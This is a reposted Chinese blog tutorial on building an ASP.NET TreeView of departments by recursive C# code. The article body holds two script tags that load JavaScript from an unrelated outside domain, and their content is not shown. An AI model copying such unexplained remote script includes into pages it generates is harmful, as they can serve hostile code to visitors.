TreeView 树结构的断层处理

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>    TreeView 生成最常见的一种编程实现方式就是通过“父子关系递归”生成树,一般是自顶向下递归生成。这种方法的缺陷:“由父节点及子节点”的遍历顺序意味着每个子节点的父节点必须存在,否则将搜索不到,即出现“ 断层现象”。
本文在递归原理的基础上,通过调节父节点的层次,解决树结构的断层问题。
  

一、递归生成树的算法:
#region  加载部门树*****************************************************
DataSet Dept_ds;
///   <summary>
///  加载部门树
///   </summary>
public   void  DeptTree(TreeView tvMenu)
{
    Dept_ds 
=  myData.GetDept(); // 执行 "select * from Sys_Department"
    DeptTree(tvMenu,  0 , (TreeNode) null );
}

///   <summary>
///  加载部门树
///   </summary>
private   void  DeptTree(TreeView tvMenu,  int  ParentID, TreeNode pNode)
{
    
string  nodeId  =   " DeptID " ;
    
string  nodeName  =   " DeptName " ;
    
string  nodeParent  =   " DeptParent " ;

    DataView dvTree 
=   new  DataView(Dept_ds.Tables[ 0 ]);
    
// 过滤nodeParent,得到当前的所有子节点
    dvTree.RowFilter  =  nodeParent  +   "  =  "   +  ParentID;
    
foreach  (DataRowView drv  in  dvTree)
    {
        TreeNode newNode 
=   new  TreeNode();
        newNode.Text 
=  drv[nodeName].ToString().Trim();
        newNode.ToolTip 
=  drv[nodeName].ToString().Trim()  +   " [ID= "   +  drv[nodeId].ToString().Trim()  +   " ] " ;
        newNode.Value 
=  drv[nodeId].ToString().Trim();
        newNode.Target 
=   " user " ;

        newNode.ImageUrl 
=  ImagePath  +   " menu/dept.gif " ;
        newNode.NavigateUrl 
=   " UserChoose_User.aspx?DeptID= "   +  drv[nodeId].ToString().Trim();

        
if  (pNode  ==   null )
        {   
// 添加根节点
            newNode.SelectAction  =  TreeNodeSelectAction.SelectExpand;
            newNode.Expanded 
=   false ;
            newNode.PopulateOnDemand 
=   false ;

            tvMenu.Nodes.Add(newNode);
// ***注意区别:根节点
            DeptTree( null , Int32.Parse(drv[nodeId].ToString().Trim()), newNode); // 递归
        }
        
else
        {   
// ?添加子节点
            newNode.SelectAction  =  TreeNodeSelectAction.SelectExpand;
            newNode.Expanded 
=   false ;
            newNode.PopulateOnDemand 
=   false ;

            pNode.ChildNodes.Add(newNode);
// ***注意区别:子节点
            DeptTree( null , Int32.Parse(drv[nodeId].ToString().Trim()), newNode); // 递归
        }
    }
}
#endregion
文章来源于 http://www.cnblogs.com/wf225 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值